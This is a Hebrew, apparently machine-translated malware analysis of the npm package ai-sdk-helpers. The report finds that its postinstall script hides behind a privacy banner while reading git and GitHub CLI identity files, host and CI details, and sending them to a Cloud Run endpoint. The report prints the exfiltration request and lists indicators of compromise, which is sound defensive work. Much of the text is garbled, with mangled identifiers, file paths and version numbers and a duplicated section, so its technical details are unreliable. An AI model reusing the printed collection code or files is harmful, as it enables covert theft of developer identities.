TL; DR
חבילת npm אחת, עוזרי ai-sdk, מציג את עצמו כארגז כלים לייצור עבור ערכת פיתוח הבינה המלאכותית של Vercel, המציע מעקב אחר עלויות, גיבוי לספקים ועוזרים בסטרימינג.
הסקריפט בזמן ההתקנה שלו נפתח עם באנר גילוי נאות מלוטש המתאר אבחון אנונימי, מבטיח שלא יועברו קוד מקור, טוקנים או אישורים, תוך כיבוד DO_NOT_TRACK ביטול הסכמה וקישור לדף מדיניות טלמטריה.
אותו סקריפט קורא לאחר מכן את זהות ה-git של המפתח, את תצורת GitHub CLI, שם מארח המכונה, שם משתמש של מערכת ההפעלה, ספריית העבודה וספק ה-CI.
נתונים אלה מועברים כ-JSON לנקודת קצה של Google Cloud Run, מה שיוצר אי התאמה ברורה בין מדיניות הטלמטריה המוצהרת לבין השדות שנאספו בפועל.
החבילה פורסמה בעשרים ושתיים גרסאות בתוך פרץ אחד של 83 שניות, וסקריפט ההתקנה זהה בייט-אחר-בייט בכל גרסה שסומנה.
שבע מתוך שמונה גרסאות שנבדקו על ידינו pipeline קיבלו ציון לא חד משמעי על ידי מסווג ML מכיוון שסגנון באנר ההסכמה נראה כמו טלמטריה לגיטימית.
אנו מסווגים ai-sdk-helpers כזדוני בהתבסס על איסוף וחילוץ זהויות מפתחים בזמן ההתקנה.
חומרה: גבוהה.
אנטומיה של ההתקנה
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } לאחר ההתקנה פועל אוטומטית על התקנת npm, לפני שיובא אי פעם קוד כלשהו המפורסם של החבילה. הסקריפט scripts/postinstall.js הוא המקום שבו נמצאת כל התנהגות זמן ההתקנה.
זה נפתח בבלוק הערות והודעת זמן ריצה שנכתבה ברישום של פרויקט קוד פתוח המודע לפרטיות:
>כאשר אתם מתקינים את ai-sdk-helpers, אנו מבצעים בדיקת תאימות סביבה מהירה ומדווחים על אבחונים אנונימיים... הנתונים אנונימיים לחלוטין - אנו אוספים את הפלטפורמה שלכם, גרסת הצומת וגיבוב חד-כיווני של מזהה המכונה שלכם. לא מועברים קוד מקור, טוקנים או אישורים לעולם.
זה אפילו מחבר שער ביטול הסכמה עובד, הקוד הראשון שניתן להריץ בקובץ:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } יצירת שער זה תחילה היא מה שגורם לשאר להיקרא כהסכמה: מפתח שקובע `D_NOT_TRACK` רואה את ההתקנה מושלמת בשקט ומסכם שהחבילה מכבדת את המוסכמה. ביטול ההסכמה המכובד הוא אמיתי. מה שהוא גורר, עבור כל מי שלא מגדיר אותו, הוא האוסף המתואר להלן - לא ה"פלטפורמה, גרסת הצומת וגיבוב חד-כיווני" הצר יותר שההודעה מכנה.
מתחת לשער הזה, הסקריפט מרכיב מטען שחורג הרבה מעבר לתיאור הזה.
- *Gזהות t.* rלפתורScmזהות()` ראשים `~.gitconfig`,`~.config/git/config`,ו-` של הפרויקט הנוכחי.זה/תצורה`,מנתח את ה-`[סר]` סעיף, ומחזיר את המוגדר commit דוא"ל. אם אף קובץ תצורה לא מניב דוא"ל, הוא חוזר ל-`GT_AUTHOR_EMAIL`,`GT_COMMITדוא"ל_TER`,ו-`EAIL` משתני סביבה. מחרוזת מסמך מעל הפונקציה ממסגרת את הקריאה כדרך "לבטל כפילויות של התקנות על פני מכונות בבעלות אותו אדם (למשל מחשב נייד + CI)" - מטרה מוצהרת הדורשת מזהה יציב לכל מפתח, אשר commit ציוד לדוא"ל.
- *Gחשבון tHub.* rפתרוןGitHubIdentity()` ראשים `~.config/gh/hosts.yml` ו-`~.config/gh/hosts.yaml` קובץ התצורה שנכתב על ידי ממשק שורת הפקודה (CLI) של GitHub כאשר מפתח מבצע אימות - ומחלץ את ה-`u` באמצעות ביטוי רגולרי.אה:` ו-האילינוי:` שדות. קובץ זה מאחסן גם את אסימון OAuth של GitHub; ה-regex של הסקריפט מכוון ספציפית לשורות שם המשתמש והדוא"ל ואינו מחלץ את האסימון. לכן, הטענה של באנר הגילוי הנאות "לא משודרים אסימונים... לעולם" נכונה פשוטו כמשמעו עבור אותו שדה בזמן שמזהי החשבון שמסביב נקראים ונשלחים.
- *Hטביעת אצבע st ו-CI.* לאחר מכן התסריט אוסף `o.hostname()`,`o.userInfo().שם משתמש`,גרסת הצומת, הפלטפורמה והארכיטקטורה, `pocess.cwd()`,ותווית ספק CI שנפתרה על ידי בדיקת משתני סביבה עבור שמונה ספקים (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, ושני דגלי CI גנריים). רשימת הספקים נקראת כמלאי של המקומות שבהם הסקריפט צפוי להתבצע - קונכיות אינטראקטיביות ובנייה אוטומטית. pipelineזה דומה.
כל אלה מקובצים לקובץ אחד `dאגנוסטים אובייקט, כאשר השדות לפי מפתח נאספים תחת `iישות ey ונתוני המארח תחת `rזמן ו-גטקסט עיניים, לאחר מכן מסודרות ומשודרות:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); התגובה נמחקת וכל השגיאות נבלעות - הערה מציינת כי "טלמטריה לעולם לא צריכה לשבש את ההתקנה". שם המארח של נקודת הקצה מקודד שירות Google Cloud Run ב-`eחבל-מערב1` אזור.
הפער הוא הסיפור. הבאנר ממנה שלוש קטגוריות של נתונים - פלטפורמה, גרסת צומת, גיבוב של מזהה מכונה. המטען שולח את קובץ ה-git האמיתי של המפתח. commit כתובת הדוא"ל, שם המשתמש והדוא"ל שלהם ב-GitHub, שם המארח של המכונה ושם חשבון מערכת ההפעלה, נתיב הפרויקט שלהם וסביבת ה-CI שלהם. השדות המזהים *prson והחשבונות שלהם* בדיוק השדות שהגילוי הנאות משמיט.
קובץ ה-README מחזק את המסגור מהצד השני. קטע ה"טלמטריה" שלו חוזר על טענת האנונימיות ומקשר את המילה `D_NOT_TRACK` o `cnsoledonottrack.com`,דף הקהילה האמיתי שמתעד את אמנת ביטול ההצטרפות - בהשאלה של פרטיות מוכרת standard כדי שההודעה תיקרא כשגרה.
ציר זמן
זוהי גרסה של חבילה אחת עם היסטוריית פרסום קצרה וצפופה מאוד. אין קשת קמפיין של מספר שבועות שניתן לעקוב אחריה - כל טווח הגרסאות נדחף במהירות המכונה.
| מתי (UTC) | אירוע |
|---|---|
| 2026-06-03 20:31:20 | גרסה ראשונה (0.1.0) פורסם ב-npm. |
| 2026-06-03 20:31:20 – 20:32:43 | כל 22 הגרסאות (0.1.0 דרך 1.4.2) פורסם ברצף אוטומטי של 83 שניות. |
| 2026-06-04 | שמונה גרסאות סומנו על ידי אותות זיהוי; ניתוח ידני מאשר איסוף וחילוץ זהויות בזמן ההתקנה. החבילה נותרה פעילה ב-npm בזמן הניתוח. |
חלון הזמנים של 83 שניות על פני 22 גרסאות סמנטיות הוא בעצמו אינדיקטור התנהגותי: סולם הגרסאות (`01.0 רגל,`01.1 רגל,... `14.2 אינץ')מציג את פני השטח של פרויקט מתוחזק באופן פעיל עם היסטוריית שחרור, שנוצרה בריצה אחת. סקריפט ההתקנה אינו משתנה לאורך סולם זה - ראה להלן.
אינדיקטורים של פשרה
המטען בזמן ההתקנה זהה בכל טווח הגרסאות שפורסם.פ פ`סripts/postinstall.js` בין גרסה 02.1` גרסה 14.2` et לא מחזיר הבדלים; ההתנהגות היא טביעת אצבע קבועה אחת, לא מטען מתפתח.
רשת
חלון הזמנים של 83 שניות על פני 22 גרסאות סמנטיות הוא בעצמו אינדיקטור התנהגותי: סולם הגרסאות (`01.0 רגל,`01.1 רגל,... `14.2 אינץ')מציג את פני השטח של פרויקט מתוחזק באופן פעיל עם היסטוריית שחרור, שנוצרה בריצה אחת. סקריפט ההתקנה אינו משתנה לאורך סולם זה - ראה להלן.
אינדיקטורים של פשרה
המטען בזמן ההתקנה זהה בכל טווח הגרסאות שפורסם.פ פ`סripts/postinstall.js` בין גרסה 02.1` גרסה 14.2` et לא מחזיר הבדלים; ההתנהגות היא טביעת אצבע קבועה אחת, לא מטען מתפתח.
רשת
| אינדיקטור | תפקיד |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | נקודת קצה של סינון שמקבלת בקשות HTTPS POST עם טעינות JSON. מאוחסנת ב-Google Cloud Run ב- europe-west1 אזור. |
תשתית פיתיון
| אינדיקטור | תפקיד |
|---|---|
ai-sdk.guide | דף הבית של החבילה ואתר חי התומכים בזהות המחבר של "מדריך ה-AI SDK". |
ai-sdk.guide/telemetry | כתובת ה-URL של מדיניות הטלמטריה שאליה מתייחסים בהודעת הגילוי הנאות בזמן ההתקנה. |
hello@ai-sdk.guide | כתובת הדוא"ל של המחבר הוצהרה ב package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | מאגר המקור שהוצהר על ידי החבילה. |
קבצים שנקראו בזמן ההתקנה
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` גיט `[סר]` דואר
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` ממשק שורת פקודה של גיטהאבאה` `eאילי
חתימות התנהגותיות
- – מ`פסטהתקין ook קורא לסקריפט Node כלול
- – שער ביטול הסכמה (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NOT_TRACK`)מוצג כתכונת פרטיות, לפני איסוף זהויות
- – tbound HTTPS POST של אובייקט JSON המכיל כתובת דוא"ל של git, זהות GitHub, שם מארח, שם משתמש של מערכת הפעלה, cwd ותווית CI
- – סקריפט התקנה זהה על פני סולם גרסאות שפורסם במהירות
ייחוס והתנהגות נצפית
איננו מייחסים דבר מעבר למה שרשומות המטא-דאטה של החבילה והרישום.
מנהל הרישום של ה-npm הוא החשבון `aאילסימון`,עם הכתובת `aiel@vigilance.security`.הרישום מפרט את האימייל הזה כלא מאומת ואת זהות בקרת המקור של החשבון כלא מאומתת. ה-`pckage.json`,בנפרד, מציג את המחבר כ"מדריך ל-AI SDK"ello@ai-sdk.guide>`”עם דף הבית של `a`-sdk.guide` ומאגר מקורות תחת `gארגון thub.com/ai-sdk-guide`. דומיין הדוא"ל של חשבון הפרסום (`vigilance.security`)וזהות המחבר בתוך החבילה (`a`-sdk.guide`)הם דומיינים שונים.
ה-`א`-sdk.guide` ite פעיל ומגיב, וה-`/אלקטרמטריה ath פותר - זהות הפיתיון מגובה על ידי נוכחות אינטרנטית נגישה ולא על ידי קישור מת, מה שמעלה את אמינות המסגור של החבילה.
**יכולת נצפית.** בזמן ההתקנה, החבילה קוראת קבצי זהות המפתח ותצורת החשבון, לוכדת טביעות אצבעות מסביבת המארח וסביבת ה-CI, ומשדרת את התוצאה לנקודת קצה הנשלטת על ידי המפעיל, תוך הצגת הודעה המתארת מערך נתונים מצומצם ואנונימי יותר. אנו מתארים התנהגות זו; איננו טוענים למניע לה. קוראים המעריכים את החבילה - כולל כל צד שמזהה את זהות המפרסם - צריכים לשקול את אי ההתאמה הנראית בין זרימות הנתונים המוצהרות לבין זרימות הנתונים בפועל.
השפעה, מגמות והנחיות למגינים
מי נחשף. כל מי שמתקין עוזרי ai-sdk — באופן ישיר או כתלות טרנזיטיבית — מפעיל את האוסף על מכונה זו. מכיוון שהטריגר הוא לאחר ההתקנה, קוד הספרייה המפורסם לעולם לא צריך להיות מיובא כדי שזרימת הנתונים תתרחש; ההתקנה לבדה מספיקה. סביבות בעלות הערך הגבוה ביותר הן תחנות עבודה למפתחים עם זהות git מוגדרת ו-GitHub CLI מאומת, וסביבות CI runners, שבהן זיהוי ספק ה-CI של הסקריפט מציין שהאוסף צפוי לפעול בתוך מבנה הבנייה. pipelineכמו גם במחשבים ניידים.
מה שזה חושף. לא סודות יישומים במקרה הכללי - המטען מתמקד ב זהותשל היזם commit כתובת הדוא"ל, שם חשבון GitHub וכתובת הדוא"ל שלהם, שמות המכונה והחשבון ונתיב הפרויקט. זהו קודcisמפה של מי התקין את החבילה, על איזו מכונה, באיזה מאגר, ותחת איזו מערכת CI. עבור ארגון, קומץ רשומות כאלה יחד יפרטו אילו מהנדסים ואילו מערכות בנייה משכו את התלות - שימושי כמקדים לפעילות המשך ממוקדת יותר, למרות שהתנהגותה של חבילה זו עצמה נעצרת באיסוף ובשידור.
המגמה: טלמטריה ככיסוי. כלי פיתוח לגיטימיים אכן אוספים אבחון התקנה אנונימי, והמוסכמות לביצועו בכבוד - הודעת גילוי נאות, אל תעקוב כבוד, דגל ביטול הסכמה, כתובת URL של מדיניות - ידועים היטב. עוזרי ai-sdk משכפל את כל ארבע המוסכמות הללו בנאמנות ומשתמש בהן כעטיפה לאיסוף זהויות. נוכחות של באנר הסכמה, ביטול הסכמה פעיל או קישור למדיניות פרטיות אינה הוכחה לכך שחבילה אמינה; בקרות אלו זולות לחיקוי. הבדיקה האמינה היחידה היא מה הקוד באמת קורא ולאן הוא באמת שולח אותו.
לאריזה זו יש גם השפעה מדידה על מיון אוטומטי. בין הגרסאות שלנו pipeline נבדקו, הערות בשפה פשוטה של סקריפט ההתקנה, שמות השדות המובנים ושער ביטול ההצטרפות הקונבנציונלי דורגו כטלמטריה רגילה: שבעה מתוך שמונה חזרו לא חד משמעי מסווג ML ולא זדוני. הסימן שפותר את העמימות אינו בטקסט - הוא נמצא בקבצים הספציפיים שהסקריפט פותח (~ / .gitconfig, ~/.config/gh/hosts.yml) והיעד שאליו הוא נשלח. סוקר, אוטומטי או אנושי, שקורא את הגילוי הנאות ויעצור שם יגיע למסקנה שגויה; הקביעה צריכה לנבוע מעובדות זרימת הנתונים.
הנחיות למגינים:
- התקנה עם סקריפטים מושבתים כברירת מחדל — התקנת npm –ignore-scripts, או קבע התעלם-סקריפטים=אמת in .npmrc ולהריץ שלבי בנייה מאומתים במפורש. זה מנטרל לאחר ההתקנהגבייה מופעלת על פני כל הלוח.
- אל תתייחסו לבקרות ביטול הסכמה כאותות אמון. אל תעקוב בדיקה או קישור של "מדיניות טלמטריה" לא אומרים לך כלום על הנתונים שסקריפט אוסף כאשר השער אינו מוגדר.
- קרא את ה-install hook לפני אימוץ חבילות עזר לאקוסיסטם של בינה מלאכותית. תחום ה-SDK של Vercel AI הוא יעד מהיר ובעל אמון גבוה; לאחר ההתקנה שנוגע ~ / .gitconfig or ~/.config/gh/ זהו איתות ברור ללא קשר לאופן שבו נכתבות התגובות מסביב.
- ניטור יציאה בזמן בנייה. פוסט HTTPS יוצא במהלך התקנת npm, במיוחד לנקודת קצה של פונקציית ענן שהוקצה לאחרונה, ניתנת לצפייה בשכבת הרשת ומהווה נקודת זיהוי חזקה עבור סביבות CI.
- שימו לב לסולמות גרסאות דחוסות. חבילה שכל היסטוריית הגרסאות הסמנטית שלה מופיעה תוך שניות, עם סקריפט התקנה ללא שינוי, מציגה היסטוריית תחזוקה מפוברקת.





